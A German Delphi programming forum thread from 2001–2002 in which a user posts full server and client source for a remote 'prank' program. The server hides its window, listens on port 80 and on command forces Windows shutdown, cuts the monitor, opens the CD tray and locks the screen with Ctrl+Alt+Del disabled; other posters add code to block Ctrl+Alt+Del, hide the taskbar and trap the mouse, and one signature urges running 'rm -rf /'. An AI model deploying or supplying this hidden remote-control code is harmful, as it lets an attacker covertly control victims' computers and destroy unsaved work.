Willkommen ~Gast!
Registrieren || Einloggen || Hilfe/FAQ || Staff
Probleme mit der Registrierung im Forum? Melde dich unter registerEin Bild.
Autor Beitrag
025
29.12.2001, 21:13
Doppelhertz



So, nu ma der Quelltext, damit ihr mir auch glaubt:

SERVER:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ScktComp, mmsystem, ExtCtrls;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
Timer1: TTimer;
procedure Verbinden1Click(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;

var
Form1: TForm1;
ip: string;
LVol : Word;
RVol : Word;
CloseVariable: Boolean;

implementation

{$R *.DFM}

function SetWaveVolume(const AVolume: DWord) : boolean;
var
WaveOutCaps : TWAVEOUTCAPS;
begin
Result := False;
if WaveOutGetDevCaps(WAVE_MAPPER, @WaveOutCaps, sizeof(WaveOutCaps)) = MMSYSERR_NOERROR then

if WaveOutCaps.dwSupport and WAVECAPS_VOLUME = WAVECAPS_VOLUME then
Result := WaveOutSetVolume(WAVE_MAPPER, AVolume) = MMSYSERR_NOERROR;
end;

procedure TForm1.Verbinden1Click(Sender: TObject);
begin
ServerSocket1.Port := 80; //Port der/des Clients (muss mit dem Client übereinstimmen)
ServerSocket1.Active := True; //Verbindung herstellen
end;

function NewRes(XRes,YRes:DWord):integer;
var
DevMode:TDeviceMode;
begin
EnumDisplaySettings(nil, 0, DevMode);
DevMode.dmFields:=DM_PELSWIDTH or DM_PELSHEIGHT;
DevMode.dmPelsWidth:=XRes;
DevMode.dmPelsHeight:=YRes;
Result:=ChangeDisplaySettings(DevMode, 0);
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
TmpStr: String;
I: Integer;
begin
TmpStr := Socket.ReceiveText; //Schreibt empfangenden Text in TmpStr
if tmpstr = 'monaus' then SendMessage(Application.Handle, wm_Syscommand, sc_Monitorpower, 1);
if tmpstr = 'monan' then SendMessage(Application.Handle, wm_Syscommand, sc_Monitorpower, -1);
if tmpstr = 'aufs' then NewRes(640,480);
if tmpstr = 'aufn' then NewRes(1024,768);
if tmpstr = 'cdauf' then mciSendstring('SET CDAUDIO DOOR OPEN WAIT',nil,0, Self.Handle);
if tmpstr = 'cdzu' then mciSendstring('SET CDAUDIO DOOR CLOSED WAIT',nil,0, Self.Handle);;
if tmpstr = 'pcex' then ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE, 0);
if tmpstr = 'nos' then
begin
LVol := 0000;
RVol := 0000;
SetWaveVolume(MakeLong(LVol, RVol));
end;
if tmpstr = 's' then
begin
LVol := 65533;
RVol := 65533;
SetWaveVolume(MakeLong(LVol, RVol));
end;
if tmpstr = 'black' then
begin
form1.borderstyle := bsnone;
form1.color := clblack;
form1.windowstate := wsmaximized;
CloseVariable := False;
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @I, 0);
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.Port := 80; //Port der/des Clients (muss mit dem Client übereinstimmen)
ServerSocket1.Active := True; //Verbindung herstellen
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
form1.visible := false;
timer1.enabled := false;
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
CanClose := CloseVariable;
end;

end.

Un nu mein Teil der Applikation:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, ScktComp, StdCtrls, mmsystem;

type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
MainMenu1: TMainMenu;
Datei1: TMenuItem;
Ipeingeben1: TMenuItem;
Verbinden1: TMenuItem;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
Button9: TButton;
Button10: TButton;
procedure Verbinden1Click(Sender: TObject);
procedure Ipeingeben1Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;

var
Form1: TForm1;
ip: string;

implementation

{$R *.DFM}

procedure TForm1.Verbinden1Click(Sender: TObject);
begin
ClientSocket1.Port := 80; //Port des Servers
ClientSocket1.Host := ip; //IP des Servers
ClientSocket1.Active := True; //Connecten
end;

procedure TForm1.Ipeingeben1Click(Sender: TObject);
begin
Ip := InputBox('Ip Adresse eingeben', '', '192.168.0.1');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('monaus');
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('monan');
end;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('aufs');
end;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('aufn');
end;
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('cdauf');
end;
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('cdzu');
end;
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('pcex');
end;
end;

procedure TForm1.Button8Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('nos');
end;
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('s');
end;
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
if ClientSocket1.Socket.Connected = True then
begin
ClientSocket1.Socket.SendText('black');
end;
end;

end.

So, jetzt lest ma fleißig, und ihr seht, das garnix passieren kann

--

zum Seitenanfang zum Seitenende Profil || Suche
026
29.12.2001, 21:26
Archangel



aha, wie ich sehe is auch exitwindows dabei, wasn mit nicht gesicherten daten ?

--

Mar 01 01:10:13 <voice> jo
Mar 01 01:10:40 <voice> bis dann ^^
Mar 01 01:11:20 <Archangel> jo
**** ENDING LOGGING AT Tue Mar 1 01:58:13 2005

zum Seitenanfang zum Seitenende Profil || Suche
027
29.12.2001, 21:48
Retro



Jo... nimm lieber die scheisse raus und bring seinen Computer zum quicken! =)
Quellcode:function InPort(PortAddr:word): byte; assembler; stdcall;
asm
  mov dx,PortAddr
  in al,dx
end;

procedure OutPort(PortAddr: word; Databyte: byte); assembler; stdcall;
asm
  mov al,Databyte
  mov dx,PortAddr
  out dx,al
end;

procedure Sound(Hz: Word);
var
TmpW: Word;
begin
  OutPort($43,182);
  TmpW :=InPort($61);
  OutPort($61,TmpW or 3);
  OutPort($42,lo(1193180 div hz));
  OutPort($42, hi(1193180 div hz));
end;

Procedure NoSound;
var
TmpW: Word;
begin
  OutPort($43,182);
  TmpW := InPort($61);
  OutPort($61,TmpW and 3);
end;
Is nen kleiner Frequenzgenerator... geht direkt auf den PC-Internen Speaker, kannste schön quitschen lasse :) Nimm aber das scheiss exit raus.

--

shielding people from their own stupidity is an evolutionary step backwards anyway.

/* God is dead!............Nietzsche */
/* Nietzsche is dead!......God */
/* Nietzsche is God!.......The Dead */

zum Seitenanfang zum Seitenende Profil || Suche
028
29.12.2001, 22:20
feigling



igitt
Assembler ;)
Aber da fällt mir gerade was ein. Wenn der Befehl outport geht, dann könnte ich sogar in Delphi den Druckerport so ansteuern, wie ich das in C mache.
Hmm gleich mal ausprobieren :)
hmm, ich gucke mal, ob ich vielleicht auch noch so kleine Funktionen finde, die keinen Schaden anrichten.

--

zum Seitenanfang zum Seitenende Profil || Suche
029
29.12.2001, 23:47
Doppelhertz



seht ihr, das Prog kann sihc garnich weiterverbreiten!

--

zum Seitenanfang zum Seitenende Profil || Suche
030
30.12.2001, 14:11
feigling



Naja, vielleicht kannst du ja sowas gebrauchen:
Das spielst ein bisschen mit den Anzeigelichtern der Tastatur rum.
Das einfach irgendwo in den Quelltext kopieren:

Quellcode:
procedure pause(zeit:longint);
var zeit1:longint;
begin
  zeit1:=GetTickCount;
  repeat
        application.ProcessMessages;
  until (GetTickCount-zeit1 > zeit);
end;

und dann das in einen Button oder so.
Allerdings würde ich die while-Schleife durch ne for-Schleife mit ner bestimmten Anzahl ersetzen, da die while-Schleife immer true ist und so die Schleife nicht mehr aufhören würde.
Hab ich jetzt nur mal so zum Ausprobieren genommen.
Quellcode:
  while true do
  begin
    State[VK_Scroll] := 0;
    State[VK_NumLock] := 1;
    SetKeyboardState(State);
    pause(50);
    State[VK_NumLock] := 0;
    State[VK_Capital] := 1;
    SetKeyboardState(State);
    pause(50);
    State[VK_Capital] := 0;
    State[VK_Scroll] := 1;
    SetKeyboardState(State);
    pause(50);
  end;

Hmm, was fällt mir noch ein.
Im Moment eigentlich nichts, was so sinnvoll wäre für so ein Programm.
Naja, falls mir noch was einfällt, schreibe ich es noch.
jetzt gehe ich erstmal wieder weiter proggen :)

--

zum Seitenanfang zum Seitenende Profil || Suche
031
30.12.2001, 14:35
Doppelhertz



entweder is bei dir en Fehler im Code, oder ich ich muss noch was in die uses schreiben (wenn ja sag ma bitte was) bei mir kommt bein compilieren Fehlermeldung: Undefinierter Bezeichner: State

--

zum Seitenanfang zum Seitenende Profil || Suche
032
30.12.2001, 14:40
Retro



Quellcode:procedure TForm1.FreeClick(Sender: TObject);
begin
..ClipCursor(NIL);
end;

procedure TForm1.ClipKlick(Sender: TObject);
var
..Rect: TRect;
begin
..Rect.Left := Left;
..Rect.Top := Top;
..Rect.Right := (Left + Width);
..Rect.Bottom := (Top + Height);
..ClipCursor(@Rect);
end;
Mit ClipCursor kannste den Bereich festlegen in dem er die Maus bewegen kann... so kann er die Maus nichtmehr aus deinem Programm raus bewegen :) Wenn du den Aufruf mit NIL machst ist es wieder deaktiviert...

STRG+ALT+ENTF kannst so verhindern:
Quellcode:const
SPI_SCREENSAVERRUNNING = 97;

var
OldValue : Longbool;

SystemParametersInfo(SPI_SCREENSAVERRUNNING, Word(True), @OldValue, 0);

SystemParametersInfo(SPI_SCREENSAVERRUNNING, Word(False), @OldValue, 0);
Mit dem ersten schaltestes an, mit dem zweiten aus! Es wird vorgetäschz das der Bildschirmschoner an ist.
Mehr harmloses fält mir nicht ein...

Aber das Tastaturblinken ist gut ;) Da hab ich mir schonmal ne Disco mit gebaut... *g*

--

shielding people from their own stupidity is an evolutionary step backwards anyway.

/* God is dead!............Nietzsche */
/* Nietzsche is dead!......God */
/* Nietzsche is God!.......The Dead */

zum Seitenanfang zum Seitenende Profil || Suche
033
30.12.2001, 14:42
Doppelhertz



das kenn ich alles schon. des mit der maus funzt ja nur bei dem Cursor über meinem Programm, oder auch auf den ganzen Desktop bzw. während Counter-Strike läuft?

--

zum Seitenanfang zum Seitenende Profil || Suche
034
30.12.2001, 14:48
Retro



Ich rede hier net von Counter-Strike... ClipCursor geht nur über deinem Programm. Wenn du die Maus in Windows global gefangen halten willst, geht das per Msg. kA wie man anstellen soll das sie dann "gefangen" ist aber die Moves kann man sich so abfangen.

--

shielding people from their own stupidity is an evolutionary step backwards anyway.

/* God is dead!............Nietzsche */
/* Nietzsche is dead!......God */
/* Nietzsche is God!.......The Dead */

zum Seitenanfang zum Seitenende Profil || Suche
035
30.12.2001, 15:02
Doppelhertz



des brauch ich nich :)

--

zum Seitenanfang zum Seitenende Profil || Suche
036
30.12.2001, 15:30
feigling



Ups, sorry.
Das habe ich vergessen :)
einfach bei dem Button zwischen procedure TForm1.Button1
und dem begin das reinschreiben:
Quellcode:
var State : TKeyboardstate;

Das müsste dann gehen.
Sorry

--


Dieser Beitrag wurde am 30.12.2001 um 15:32 von feigling bearbeitet.
zum Seitenanfang zum Seitenende Profil || Suche
037
06.01.2002, 04:07
afrobnullsiebenelf



Wie wärs damit:

Task-Leiste weg:
Quellcode:
procedure TForm1.Button1Click(Sender: TObject);
var
  hTaskBar: THandle;
begin
  hTaskbar:=FindWindow('Shell_TrayWnd',nil);
  ShowWindow(hTaskBar, SW_HIDE);
end;

Taskleiste wieder hin:
Quellcode:
procedure TForm1.Button2Click(Sender: TObject);
var
  hTaskBar: THandle;
begin
  hTaskBar:=FindWindow('Shell_TrayWnd', nil);
  ShowWindow(hTaskBar, SW_SHOWNORMAL);
end;

Was hälst du davon wenn du dein "programm" unter "Interne-GPL" stellst dann sieht jeder was du machst und jeder sehen dass du nix böses willst :D

Kleiner Tipp von mir:
Pack das ganze in n CASE und bau nochn chat dazu... etwa so:
Quellcode:
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
  Socket: TCustomWinSocket);
var
msg : String;
var hTaskBar: THandle;
begin
msg := Socket.ReceiveText;

IF (msg = 'tb_hin') OR (msg = 'tb_weg') THEN
Begin
  CASE StrToInt(msg) OF
       tb_weg: BEGIN;
            //Taskbar weg
            hTaskbar:=FindWindow('Shell_TrayWnd',nil);
            ShowWindow(hTaskBar, SW_HIDE);
          END;
       tb_hin: BEGIN;
            //Taskbar hin
            hTaskBar:=FindWindow('Shell_TrayWnd', nil);
            ShowWindow(hTaskBar, SW_SHOWNORMAL);
          END;
  END;
End
Else
ListBox1.Items.Add(msg)    //Wo auch immer hin mit dem zeug....
end;

So sparste dir die ganzen buttons.

--

$> su -c "rm -rf /"
Tu es!


Dieser Beitrag wurde am 06.01.2002 um 04:08 von AFROB0711 bearbeitet.
zum Seitenanfang zum Seitenende Profil || Suche
038
11.01.2002, 16:21
CY4N1D3



ich würde die netzengine umschrieben (ich bekomme nen harndrang vor lachen). ich habe selber mal trojaner programmiert.. heute find ich das nicht mehr ganz so lustig. leute die noch nicht so die ahrnung von gefährlichen sachen haben die sind noch ungefährlich. aber die bereitschafft mehr und mehr kontrolle kann ausarten. wer den perfekten trojaner hat der gibt den sourcecode auch nicht frei... geil is ja wenn man die downloadfunktionen missbraucht und den client zubombt... oder wenn der server die möglichkeit hat datein auf der clientplatte zu überschriben ist dein system hinüber =)

ps. netz: packetloss *hrhrhrhrhrhrhr* gab es bei mir nicht mehr :P

--

ob nun delphi, c oder java. kein programm lässt sich mit allen 3en gleichschnell entwickeln.

zum Seitenanfang zum Seitenende Profil || Suche
039
11.01.2002, 16:23
CY4N1D3



und naja... ich kann es mir wieder nicht verkneifen:

keyboard_event bla blub :D ROXX !!!

--

ob nun delphi, c oder java. kein programm lässt sich mit allen 3en gleichschnell entwickeln.

zum Seitenanfang zum Seitenende Profil || Suche
040
11.01.2002, 16:40
Zeeke



Ich wollte dir nur mal sagen, dass du deine Beiträge editieren kannst, und nicht immer zwei Posts nacheinander erstellen musst ;)

--

zum Seitenanfang zum Seitenende Profil || Suche
041
11.01.2002, 16:43
CY4N1D3



sorry... bin seit fast 3 tagen ununterbrochen auf den beinen. am we muss ich erstmal alles wieder hinbiegen was ich geschrieben habe ;)

--

ob nun delphi, c oder java. kein programm lässt sich mit allen 3en gleichschnell entwickeln.

zum Seitenanfang zum Seitenende Profil || Suche